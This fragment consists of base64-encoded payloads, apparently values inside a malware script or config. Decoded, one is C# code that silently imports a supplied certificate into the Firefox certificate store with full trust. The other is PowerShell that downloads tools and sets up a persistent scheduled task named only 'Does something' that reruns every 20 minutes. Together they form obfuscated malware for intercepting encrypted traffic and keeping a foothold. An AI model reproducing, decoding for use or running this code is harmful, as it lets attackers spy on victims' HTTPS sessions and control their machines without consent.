bGljIGludCBpU2l0ZTsNCiAgICAgICAgcHVibGljIGludCBpRW1haWw7DQogICAgICAgIHB1YmxpYyBpbnQgaVNvZnQ7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBlbnVtIFNFQ0NlcnRVc2FnZQ0KICAgIHsNCiAgICAgICAgY2VydFVzYWdlU1NMQ2xpZW50ID0gMCwNCiAgICAgICAgY2VydFVzYWdlU1NMU2VydmVyID0gMSwNCiAgICAgICAgY2VydFVzYWdlU1NMU2VydmVyV2l0aFN0ZXBVcCA9IDIsDQogICAgICAgIGNlcnRVc2FnZVNTTENBID0gMywNCiAgICAgICAgY2VydFVzYWdlRW1haWxTaWduZXIgPSA0LA0KICAgICAgICBjZXJ0VXNhZ2VFbWFpbFJlY2lwaWVudCA9IDUsDQogICAgICAgIGNlcnRVc2FnZU9iamVjdFNpZ25lciA9IDYsDQogICAgICAgIGNlcnRVc2FnZVVzZXJDZXJ0SW1wb3J0ID0gNywNCiAgICAgICAgY2VydFVzYWdlVmVyaWZ5Q0EgPSA4LA0KICAgICAgICBjZXJ0VXNhZ2VQcm90ZWN0ZWRPYmplY3RTaWduZXIgPSA5LA0KICAgICAgICBjZXJ0VXNhZ2VTdGF0dXNSZXNwb25kZXIgPSAxMCwNCiAgICAgICAgY2VydFVzYWdlQW55Q0EgPSAxMQ0KICAgIH0NCglbVW5tYW5hZ2VkRnVuY3Rpb25Qb2ludGVyKENhbGxpbmdDb252ZW50aW9uLkNkZWNsKV0NCiAgICBwcml2YXRlIGRlbGVnYXRlIGludCBOU1NfSW5pdGlhbGl6ZVB0cihzdHJpbmcgc0NvbmZpZ0Rpciwgc3RyaW5nIGNlcnRQcmVmaXgsIHN0cmluZyBrZXlQcmVmaXgsIHN0cmluZyBzZWNNb2ROYW1lLCB1aW50IGZsYWdzKTsNCg0KICAgIHByaXZhdGUgaW50IE5TU19Jbml0aWFsaXplKHN0cmluZyBzQ29uZmlnRGlyLCBzdHJpbmcgY2VydFByZWZpeCwgc3RyaW5nIGtleVByZWZpeCwgc3RyaW5nIHNlY01vZE5hbWUsIHVpbnQgZmxhZ3MpDQogICAgew0KICAgICAgICBJbnRQdHIgcFByb2MgPSBHZXRQcm9jQWRkcmVzcyhuc3NNb2R1bGUsICJOU1NfSW5pdGlhbGl6ZSIpOw0KICAgICAgICBOU1NfSW5pdGlhbGl6ZVB0ciBwdHIgPSAoTlNTX0luaXRpYWxpemVQdHIpTWFyc2hhbC5HZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcihwUHJvYywgdHlwZW9mKE5TU19Jbml0aWFsaXplUHRyKSk7DQogICAgICAgIHJldHVybiBwdHIoc0NvbmZpZ0RpciwgY2VydFByZWZpeCwga2V5UHJlZml4LCBzZWNNb2ROYW1lLCBmbGFncyk7DQogICAgfQ0KDQogICAgW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29udmVudGlvbi5DZGVjbCldDQogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBJbnRQdHIgQ0VSVF9HZXREZWZhdWx0Q2VydERCUHRyKCk7DQogICAgcHJpdmF0ZSBJbnRQdHIgQ0VSVF9HZXREZWZhdWx0Q2VydERCKCkNCiAgICB7DQogICAgICAgIEludFB0ciBwUHJvYyA9IEdldFByb2NBZGRyZXNzKG5zc01vZHVsZSwgIkNFUlRfR2V0RGVmYXVsdENlcnREQiIpOw0KICAgICAgICBDRVJUX0dldERlZmF1bHRDZXJ0REJQdHIgcHRyID0gKENFUlRfR2V0RGVmYXVsdENlcnREQlB0cilNYXJzaGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2YoQ0VSVF9HZXREZWZhdWx0Q2VydERCUHRyKSk7DQogICAgICAgIHJldHVybiBwdHIoKTsNCiAgICB9DQoNCiAgICBbVW5tYW5hZ2VkRnVuY3Rpb25Qb2ludGVyKENhbGxpbmdDb252ZW50aW9uLkNkZWNsKV0NCiAgICBwcml2YXRlIGRlbGVnYXRlIEludFB0ciBOU1NfU2h1dGRvd25QdHIoKTsNCiAgICBwcml2YXRlIEludFB0ciBOU1NfU2h1dGRvd24oKQ0KICAgIHsNCiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3MobnNzTW9kdWxlLCAiTlNTX1NodXRkb3duIik7DQogICAgICAgIE5TU19TaHV0ZG93blB0ciBwdHIgPSAoTlNTX1NodXRkb3duUHRyKU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIocFByb2MsIHR5cGVvZihOU1NfU2h1dGRvd25QdHIpKTsNCiAgICAgICAgcmV0dXJuIHB0cigpOw0KICAgIH0NCg0KICAgIC8vU0VDU3RhdHVzIENFUlRfSW1wb3J0Q2VydHMgKENFUlRDZXJ0REJIYW5kbGUgKmNlcnRkYiwgU0VDQ2VydFVzYWdlIHVzYWdlLCB1bnNpZ25lZCBpbnQgbmNlcnRzLCBTRUNJdGVtICoqZGVyQ2VydHMsIENFUlRDZXJ0aWZpY2F0ZSAqKipyZXRDZXJ0cywgUFJCb29sIGtlZXBDZXJ0cywgUFJCb29sIGNhT25seSwgY2hhciAqbmlja25hbWUpDQogICAgW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29udmVudGlvbi5DZGVjbCldDQogICAgcHJpdmF0ZSBkZWxlZ2F0ZSBpbnQgQ0VSVF9JbXBvcnRDZXJ0c1B0cihJbnRQdHIgY2VydGRiLCBpbnQgdXNhZ2UsIHVpbnQgbmNlcnRzLCByZWYgU0VDSXRlbVtdIGRlckNlcnRzLCByZWYgSW50UHRyIHJldENlcnRzLCB1aW50IGtlZXBDZXJ0cywgdWludCBjYU9ubHksIEludFB0ciBuaWNrbmFtZSk7DQogICAgcHJpdmF0ZSBpbnQgQ0VSVF9JbXBvcnRDZXJ0cyhJbnRQdHIgY2VydGRiLCBpbnQgdXNhZ2UsIHVpbnQgbmNlcnRzLCByZWYgU0VDSXRlbVtdIGRlckNlcnRzLCByZWYgSW50UHRyIHJldENlcnRzLCB1aW50IGtlZXBDZXJ0cywgdWludCBjYU9ubHksIEludFB0ciBuaWNrbmFtZSkNCiAgICB7DQogICAgICAgIEludFB0ciBwUHJvYyA9IEdldFByb2NBZGRyZXNzKG5zc01vZHVsZSwgIkNFUlRfSW1wb3J0Q2VydHMiKTsNCiAgICAgICAgQ0VSVF9JbXBvcnRDZXJ0c1B0ciBwdHIgPSAoQ0VSVF9JbXBvcnRDZXJ0c1B0cilNYXJzaGFsLkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKHBQcm9jLCB0eXBlb2YoQ0VSVF9JbXBvcnRDZXJ0c1B0cikpOw0KICAgICAgICByZXR1cm4gcHRyKGNlcnRkYiwgdXNhZ2UsIG5jZXJ0cywgcmVmIGRlckNlcnRzLCByZWYgcmV0Q2VydHMsIGtlZXBDZXJ0cywgY2FPbmx5LCBuaWNrbmFtZSk7DQogICAgfQ0KDQogICAgLy9leHRlcm4gU0VDU3RhdHVzIENFUlRfQ2hhbmdlQ2VydFRydXN0KENFUlRDZXJ0REJIYW5kbGUgKmhhbmRsZSxDRVJUQ2VydGlmaWNhdGUgKmNlcnQsQ0VSVENlcnRUcnVzdCAqdHJ1c3QpOw0KICAgIHByaXZhdGUgZGVsZWdhdGUgaW50IENFUlRfQ2hhbmdlQ2VydFRydXN0UHRyKEludFB0ciBjZXJ0ZGIsIEludFB0ciBjZXJ0LCByZWYgQ2VydFRydXN0cyB0cnVzdCk7DQogICAgcHJpdmF0ZSBpbnQgQ0VSVF9DaGFuZ2VDZXJ0VHJ1c3QoSW50UHRyIGNlcnRkYiwgSW50UHRyIGNlcnQsIHJlZiBDZXJ0VHJ1c3RzIHRydXN0KQ0KICAgIHsNCiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3MobnNzTW9kdWxlLCAiQ0VSVF9DaGFuZ2VDZXJ0VHJ1c3QiKTsNCiAgICAgICAgQ0VSVF9DaGFuZ2VDZXJ0VHJ1c3RQdHIgcHRyID0gKENFUlRfQ2hhbmdlQ2VydFRydXN0UHRyKU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIocFByb2MsIHR5cGVvZihDRVJUX0NoYW5nZUNlcnRUcnVzdFB0cikpOw0KICAgICAgICByZXR1cm4gcHRyKGNlcnRkYiwgY2VydCwgcmVmIHRydXN0KTsNCiAgICB9DQogICAgLy92b2lkIENFUlRfRGVzdHJveUNlcnRBcnJheShDRVJUQ2VydGlmaWNhdGUgKipjZXJ0cywgdW5zaWduZWQgaW50IG5jZXJ0cyk7DQogICAgW1VubWFuYWdlZEZ1bmN0aW9uUG9pbnRlcihDYWxsaW5nQ29udmVudGlvbi5DZGVjbCldDQogICAgcHVibGljIGRlbGVnYXRlIGludCBDRVJUX0Rlc3Ryb3lDZXJ0QXJyYXlQdHIoSW50UHRyIGNlcnQsIHVpbnQgbmNlcnRzKTsNCiAgICBwcml2YXRlIGludCBDRVJUX0Rlc3Ryb3lDZXJ0QXJyYXkoSW50UHRyIGNlcnQsIHVpbnQgbmNlcnRzKQ0KICAgIHsNCiAgICAgICAgSW50UHRyIHBQcm9jID0gR2V0UHJvY0FkZHJlc3MobnNzTW9kdWxlLCAiQ0VSVF9EZXN0cm95Q2VydEFycmF5Iik7DQogICAgICAgIENFUlRfRGVzdHJveUNlcnRBcnJheVB0ciBwdHIgPSAoQ0VSVF9EZXN0cm95Q2VydEFycmF5UHRyKU1hcnNoYWwuR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIocFByb2MsIHR5cGVvZihDRVJUX0Rlc3Ryb3lDZXJ0QXJyYXlQdHIpKTsNCiAgICAgICAgcmV0dXJuIHB0cihjZXJ0LCBuY2VydHMpOw0KICAgIH0NCg0KCXByaXZhdGUgSW50UHRyIG5zc01vZHVsZSA9IEludFB0ci5aZXJvOw0KCQ0KCXB1YmxpYyBCb29sZWFuIFN0YXJ0KFN0cmluZyBzQ2VydCl7DQoJCVN0cmluZyBzUHJvZmlsZSA9IEdldFByb2ZpbGUoKTsNCiAgICAgICAgaWYgKFN0cmluZy5Jc051bGxPckVtcHR5KHNQcm9maWxlKSkNCiAgICAgICAgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGJ5dGVbXSBiQ2VydCA9IEdldENlcnRBc0J5dGVBcnJheShzQ2VydCk7DQoJCUludFB0ciBpcENlcnQgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbChiQ2VydC5MZW5ndGgpOw0KCQl0cnkNCiAgICAgICAgew0KICAgICAgICAgICAgRGlyZWN0b3J5SW5mbyBkaUluc3RhbGxQYXRoID0gR2V0SVAoKTsNCiAgICAgICAgICAgIFN0cmluZyBzQ3VycmVudERpcmVjdG9yeSA9IERpcmVjdG9yeS5HZXRDdXJyZW50RGlyZWN0b3J5KCk7DQogICAgICAgICAgICBEaXJlY3RvcnkuU2V0Q3VycmVudERpcmVjdG9yeShkaUluc3RhbGxQYXRoLkZ1bGxOYW1lKTsNCiAgICAgICAgICAgIGZvcmVhY2goRmlsZUluZm8gZmlEbGwgaW4gZGlJbnN0YWxsUGF0aC5HZXRGaWxlcygiKi5kbGwiKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlEbGwuTmFtZS5FcXVhbHMoImJyZWFrcGFkaW5qZWN0b3IuZGxsIikpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIExvYWRXaW4zMkxpYnJhcnkoZmlEbGwuRnVsbE5hbWUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgbnNzTW9kdWxlID0gTG9hZFdpbjMyTGlicmFyeShkaUluc3RhbGxQYXRoLkZ1bGxOYW1lICsgIlxcbnNzMy5kbGwiKTsNCiAgICAgICAgICAgIGlmIChuc3NNb2R1bGUuRXF1YWxzKEludFB0ci5aZXJvKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBEaXJlY3RvcnkuU2V0Q3VycmVudERpcmVjdG9yeShzQ3VycmVudERpcmVjdG9yeSk7DQogICAgICAgICAgICAvL0luaXQgY2VydA0KICAgICAgICAgICAgTWFyc2hhbC5Db3B5KGJDZXJ0LCAwLCBpcENlcnQsIGJDZXJ0Lkxlbmd0aCk7DQogICAgICAgICAgICBTRUNJdGVtIENlcnRJdGVtID0gbmV3IFNFQ0l0ZW0oKTsNCiAgICAgICAgICAgIENlcnRJdGVtLmlUeXBlID0gMzsgICAgIC8vICAgKi5kZXINCiAgICAgICAgICAgIENlcnRJdGVtLmJEYXRhID0gaXBDZXJ0Ow0KICAgICAgICAgICAgQ2VydEl0ZW0uaURhdGFMZW4gPSAodWludCliQ2VydC5MZW5ndGg7DQogICAgICAgICAgICBTRUNJdGVtW10gYUNlcnRJdGVtID0gbmV3IFNFQ0l0ZW1bMV07DQogICAgICAgICAgICBhQ2VydEl0ZW1bMF0gPSBDZXJ0SXRlbTsNCg0KICAgICAgICAgICAgQ2VydFRydXN0cyBDZXJ0VHJ1c3QgPSBuZXcgQ2VydFRydXN0cygpOw0KICAgICAgICAgICAgQ2VydFRydXN0LmlTaXRlID0gMHgxMDsNCiAgICAgICAgICAgIENlcnRUcnVzdC5pRW1haWwgPSAweDEwOw0KICAgICAgICAgICAgQ2VydFRydXN0LmlTb2Z0ID0gMHgxMDsNCg0KICAgICAgICAgICAgSW50UHRyIENlcnRUb0ltcG9ydCA9IG5ldyBJbnRQdHIoKTsNCiAgICAgICAgICAgIEludFB0cltdIGFDZXJ0VG9JbXBvcnQgPSBuZXcgSW50UHRyWzFdOw0KICAgICAgICAgICAgLy9FbmQgaW5pdCBjZXJ0DQogICAgICAgICAgICBpbnQgc3RhdHVzID0gTlNTX0luaXRpYWxpemUoc1Byb2ZpbGUsICIiLCAiIiwgU0VDTU9EX0RCLCBOU1NfSU5JVF9PUFRJTUlaRVNQQUNFKTsNCiAgICAgICAgICAgIGlmIChzdGF0dXMgIT0gRVJST1JfU1VDQ0VTUykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBJbnRQdHIgYmQgPSBDRVJUX0dldERlZmF1bHRDZXJ0REIoKTsNCiAgICAgICAgICAgIGlmIChiZC5FcXVhbHMoSW50UHRyLlplcm8pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIE5TU19TaHV0ZG93bigpOw0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHN0YXR1cyA9IENFUlRfSW1wb3J0Q2VydHMoYmQsIDExLCAxLCByZWYgYUNlcnRJdGVtLCByZWYgQ2VydFRvSW1wb3J0LCAxLCAwLCBJbnRQdHIuWmVybyk7DQogICAgICAgICAgICBpZiAoc3RhdHVzICE9IEVSUk9SX1NVQ0NFU1MpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgTlNTX1NodXRkb3duKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgTWFyc2hhbC5Db3B5KENlcnRUb0ltcG9ydCwgYUNlcnRUb0ltcG9ydCwgMCwgMSk7DQogICAgICAgICAgICBzdGF0dXMgPSBDRVJUX0NoYW5nZUNlcnRUcnVzdChiZCwgYUNlcnRUb0ltcG9ydFswXSwgcmVmIENlcnRUcnVzdCk7DQogICAgICAgICAgICBpZiAoIHN0YXR1cyAhPSBFUlJPUl9TVUNDRVNTKSANCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBOU1NfU2h1dGRvd24oKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9Ow0KICAgICAgICAgICAgQ0VSVF9EZXN0cm95Q2VydEFycmF5KENlcnRUb0ltcG9ydCwgMSk7DQogICAgICAgICAgICBOU1NfU2h1dGRvd24oKTsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgICAgIGNhdGNoIChFeGNlcHRpb24pe30NCiAgICAgICAgZmluYWxseQ0KICAgICAgICB7DQogICAgICAgICAgICBNYXJzaGFsLkZyZWVIR2xvYmFsKGlwQ2VydCk7DQogICAgICAgICAgICBpcENlcnQgPSBJbnRQdHIuWmVybzsNCiAgICAgICAgICAgIE5TU19TaHV0ZG93bigpOw0KICAgICAgICB9DQoJCXJldHVybiB0cnVlOw0KCX0NCglwcml2YXRlIFN0cmluZyBHZXRQcm9maWxlKCkNCiAgICB7DQogICAgICAgIFN0cmluZyBGRlByb2ZpbGUgPSBQYXRoLkNvbWJpbmUoRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZSgiQVBQREFUQSIpLCBAIk1vemlsbGFcRmlyZWZveFxQcm9maWxlcyIpOw0KICAgICAgICBpZiAoRGlyZWN0b3J5LkV4aXN0cyhGRlByb2ZpbGUpKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoRGlyZWN0b3J5LkdldERpcmVjdG9yaWVzKEZGUHJvZmlsZSwgIiouZGVmYXVsdCIpLkxlbmd0aCA+IDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIERpcmVjdG9yeS5HZXREaXJlY3RvcmllcyhGRlByb2ZpbGUsICIqLmRlZmF1bHQiKVswXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gIiI7DQogICAgfQ0KCXB1YmxpYyBieXRlW10gR2V0Q2VydEFzQnl0ZUFycmF5KFN0cmluZyBzQ2VydCkNCiAgICB7DQogICAgICAgIHRyeQ0KICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gQ29udmVydC5Gcm9tQmFzZTY0U3RyaW5nKHNDZXJ0KTsNCiAgICAgICAgfQ0KICAgICAgICBjYXRjaCAoRXhjZXB0aW9uKXt9DQogICAgICAgIHJldHVybiBudWxsOw0KICAgIH0NCglwcml2YXRlIERpcmVjdG9yeUluZm8gR2V0SVAoKQ0KICAgIHsNCiAgICAgICAgRGlyZWN0b3J5SW5mbyBmcCA9IG51bGw7DQogICAgICAgIC8vIGdldCBmaXJlZm94IHBhdGggZnJvbSByZWdpc3RyeQ0KICAgICAgICAvLyB3ZSdsbCBzZWFyY2ggdGhlIDMyYml0IGluc3RhbGwgbG9jYXRpb24NCiAgICAgICAgUmVnaXN0cnlLZXkgbG9jYWxNYWNoaW5lMSA9IFJlZ2lzdHJ5LkxvY2FsTWFjaGluZS5PcGVuU3ViS2V5KEAiU09GVFdBUkVcTW96aWxsYVxNb3ppbGxhIEZpcmVmb3giLCBmYWxzZSk7DQogICAgICAgIC8vIGFuZCBsZXRzIHRyeSB0aGUgNjRiaXQgaW5zdGFsbCBsb2NhdGlvbiBqdXN0IGluIGNhc2UNCiAgICAgICAgUmVnaXN0cnlLZXkgbG9jYWxNYWNoaW5lMiA9IFJlZ2lzdHJ5LkxvY2FsTWFjaGluZS5PcGVuU3ViS2V5KEAiU09GVFdBUkVcV293NjQzMk5vZGVcTW96aWxsYVxNb3ppbGxhIEZpcmVmb3giLCBmYWxzZSk7DQoNCiAgICAgICAgaWYgKGxvY2FsTWFjaGluZTEgIT0gbnVsbCkNCiAgICAgICAgew0KICAgICAgICAgICAgdHJ5DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgc3RyaW5nW10gaW5zdGFsbGVkVmVyc2lvbnMgPSBsb2NhbE1hY2hpbmUxLkdldFN1YktleU5hbWVzKCk7DQogICAgICAgICAgICAgICAgLy8gd2UnbGwgdGFrZSB0aGUgZmlyc3QgaW5zdGFsbGVkIHZlcnNpb24sIHBlb3BsZSBub3JtYWxseSBvbmx5IGhhdmUgb25lDQogICAgICAgICAgICAgICAgaWYgKGluc3RhbGxlZFZlcnNpb25zLkxlbmd0aCA9PSAwKQ0KICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgSW5kZXhPdXRPZlJhbmdlRXhjZXB0aW9uKCJObyBpbnN0YWxscyBvZiBmaXJlZm94IHJlY29yZGVkIGluIGl0cyBrZXkuIik7DQoNCiAgICAgICAgICAgICAgICBSZWdpc3RyeUtleSBtYWluSW5zdGFsbCA9IGxvY2FsTWFjaGluZTEuT3BlblN1YktleShpbnN0YWxsZWRWZXJzaW9uc1swXSk7DQoNCiAgICAgICAgICAgICAgICAvLyBnZXQgaW5zdGFsbCBkaXJlY3RvcnkNCiAgICAgICAgICAgICAgICBzdHJpbmcgaW5zdGFsbFN0cmluZyA9IChzdHJpbmcpbWFpbkluc3RhbGwuT3BlblN1YktleSgiTWFpbiIpLkdldFZhbHVlKCJJbnN0YWxsIERpcmVjdG9yeSIsIG51bGwpOw0KDQogICAgICAgICAgICAgICAgaWYgKGluc3RhbGxTdHJpbmcgPT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IE51bGxSZWZlcmVuY2VFeGNlcHRpb24oIkluc3RhbGwgc3RyaW5nIHdhcyBudWxsIik7DQoNCiAgICAgICAgICAgICAgICBmcCA9IG5ldyBEaXJlY3RvcnlJbmZvKGluc3RhbGxTdHJpbmcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlbHNlIGlmIChsb2NhbE1hY2hpbmUyICE9IG51bGwpDQogICAgICAgIHsNCiAgICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIHN0cmluZ1tdIGluc3RhbGxlZFZlcnNpb25zID0gbG9jYWxNYWNoaW5lMi5HZXRTdWJLZXlOYW1lcygpOw0KICAgICAgICAgICAgICAgIC8vIHdlJ2xsIHRha2UgdGhlIGZpcnN0IGluc3RhbGxlZCB2ZXJzaW9uLCBwZW9wbGUgbm9ybWFsbHkgb25seSBoYXZlIG9uZQ0KICAgICAgICAgICAgICAgIGlmIChpbnN0YWxsZWRWZXJzaW9ucy5MZW5ndGggPT0gMCkNCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEluZGV4T3V0T2ZSYW5nZUV4Y2VwdGlvbigiTm8gaW5zdGFsbHMgb2YgZmlyZWZveCByZWNvcmRlZCBpbiBpdHMga2V5LiIpOw0KDQogICAgICAgICAgICAgICAgUmVnaXN0cnlLZXkgbWFpbkluc3RhbGwgPSBsb2NhbE1hY2hpbmUyLk9wZW5TdWJLZXkoaW5zdGFsbGVkVmVyc2lvbnNbMF0pOw0KDQogICAgICAgICAgICAgICAgLy8gZ2V0IGluc3RhbGwgZGlyZWN0b3J5DQogICAgICAgICAgICAgICAgc3RyaW5nIGluc3RhbGxTdHJpbmcgPSAoc3RyaW5nKW1haW5JbnN0YWxsLk9wZW5TdWJLZXkoIk1haW4iKS5HZXRWYWx1ZSgiSW5zdGFsbCBEaXJlY3RvcnkiLCBudWxsKTsNCg0KICAgICAgICAgICAgICAgIGlmIChpbnN0YWxsU3RyaW5nID09IG51bGwpDQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBOdWxsUmVmZXJlbmNlRXhjZXB0aW9uKCJJbnN0YWxsIHN0cmluZyB3YXMgbnVsbCIpOw0KICAgICAgICAgICAgICAgIGZwID0gbmV3IERpcmVjdG9yeUluZm8oaW5zdGFsbFN0cmluZyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBmcDsNCiAgICB9DQp9DQoiQDsNCltGRl06OkdldEluc3RhbmNlKCkuU3RhcnQoIiVDRVJUJSIpOw0KfQ0KQWRkQ2VydEZG",
pstp: "ZnVuY3Rpb24gVW56aXANCnsNCnBhcmFtKFtzdHJpbmddJHppcGZpbGUsIFtzdHJpbmddJGRlc3RpbmF0aW9uKTsNCiQ3eiA9IEpvaW4tUGF0aCAkZW52OlRlbXAgJzd6YS5leGUnOw0KaWYgKC1OT1QgKFRlc3QtUGF0aCAkN3opKXsNClRyeQ0Kew0KKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cHM6Ly9jaG9jb2xhdGV5Lm9yZy83emEuZXhlJywkN3opOw0KfQ0KQ2F0Y2h7fQ0KfQ0KaWYgKCQoVHJ5IHsgVGVzdC1QYXRoICQ3ei50cmltKCkgfSBDYXRjaCB7ICRmYWxzZSB9KSl7DQpTdGFydC1Qcm9jZXNzICIkN3oiIC1Bcmd1bWVudExpc3QgInggLW9gIiRkZXN0aW5hdGlvbmAiIC15IGAiJHppcGZpbGVgIiIgLVdhaXQgLU5vTmV3V2luZG93DQp9DQplbHNlew0KJHNoZWxsID0gbmV3LW9iamVjdCAtY29tIHNoZWxsLmFwcGxpY2F0aW9uOw0KJHppcCA9ICRzaGVsbC5OYW1lU3BhY2UoJHppcGZpbGUpOw0KZm9yZWFjaCgkaXRlbSBpbiAkemlwLml0ZW1zKCkpDQp7DQokc2hlbGwuTmFtZXNwYWNlKCRkZXN0aW5hdGlvbikuY29weWhlcmUoJGl0ZW0pOw0KfQ0KfQ0KfQ0KZnVuY3Rpb24gQmFzZTY0VG9GaWxlDQp7DQpwYXJhbShbc3RyaW5nXSRmaWxlLCBbc3RyaW5nXSRzdHJpbmcpOw0KJGJ5dGVzPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZyk7DQojc2V0LWNvbnRlbnQgLWVuY29kaW5nIGJ5dGUgJGZpbGUgLXZhbHVlICRieXRlczsNCltJTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZmlsZSwgJGJ5dGVzKTsNCn0NCmZ1bmN0aW9uIEFkZFRhc2sNCnsNCnBhcmFtKFtzdHJpbmddJG5hbWUsIFtzdHJpbmddJGNtZCwgW3N0cmluZ10kcGFyYW1zPScnLFtpbnRdJHJlc3RhcnQ9MCxbaW50XSRkZWxheT0wLFtzdHJpbmddJGRpcj0nJyk7DQokdHM9TmV3LU9iamVjdCBNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5UYXNrU2VydmljZTsNCiR0ZD0kdHMuTmV3VGFzaygpOw0KJHRkLlJlZ2lzdHJhdGlvbkluZm8uRGVzY3JpcHRpb24gPSAnRG9lcyBzb21ldGhpbmcnOw0KJHRkLlNldHRpbmdzLkRpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzID0gJEZhbHNlOw0KJHRkLlNldHRpbmdzLlN0b3BJZkdvaW5nT25CYXR0ZXJpZXMgPSAkRmFsc2U7DQokdGQuU2V0dGluZ3MuTXVsdGlwbGVJbnN0YW5jZXMgPSBbTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuVGFza0luc3RhbmNlc1BvbGljeV06Oklnbm9yZU5ldzsNCiRMb2dvblRyaWdnZXIgPSBOZXctT2JqZWN0IE1pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyLkxvZ29uVHJpZ2dlcjsNCiRMb2dvblRyaWdnZXIuU3RhcnRCb3VuZGFyeT1bU3lzdGVtLkRhdGVUaW1lXTo6Tm93Ow0KJExvZ29uVHJpZ2dlci5Vc2VySWQ9JGVudjp1c2VybmFtZTsNCiRMb2dvblRyaWdnZXIuRGVsYXk9W1N5c3RlbS5UaW1lU3Bhbl06OkZyb21TZWNvbmRzKCRkZWxheSk7DQokdGQuVHJpZ2dlcnMuQWRkKCRMb2dvblRyaWdnZXIpOw0KaWYoJHJlc3RhcnQgLWVxIDEpew0KJFRpbWVUcmlnZ2VyID0gTmV3LU9iamVjdCBNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5UaW1lVHJpZ2dlcjsNCiRUaW1lVHJpZ2dlci5TdGFydEJvdW5kYXJ5PVtTeXN0ZW0uRGF0ZVRpbWVdOjpOb3c7DQokVGltZVRyaWdnZXIuUmVwZXRpdGlvbi5JbnRlcnZhbD1bU3lzdGVtLlRpbWVTcGFuXTo6RnJvbU1pbnV0ZXMoMjApOw0KJFRpbWVUcmlnZ2VyLlJlcGV0aXRpb24uU3RvcEF0RHVyYXRpb25FbmQ9JEZhbHNlOw0KJHRkLlRyaWdnZXJzLkFkZCgkVGltZVRyaWdnZXIpOw0KfQ0KJEV4ZWNBY3Rpb249TmV3LU9iamVjdCBNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5FeGVjQWN0aW9uKCRjbWQsJHBhcmFtcywkZGlyKTsNCiR0ZC5BY3Rpb25zLkFkZCgkRXhlY0FjdGlvbik7DQokdGFzaz0kdHMuUm9vdEZvbGRlci5SZWdpc3RlclRhc2tEZWZpbml0aW9uKCRuYW1lLCAkdGQpOw0KJHRhc2suUnVuKCk7DQp9DQpmdW5jdGlvbiBJVFB7DQokRmlsZT0kZW52OlRlbXArJ1x0cy56aXAnOw0KJERlc3Q9JGVudjpUZW1wKydcdHMnOw0KKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgnaHR0cHM6Ly9hcGkubnVnZXQub3JnL3BhY2thZ2VzL3Rhc2tzY2hlZHVsZXIuMi41LjI2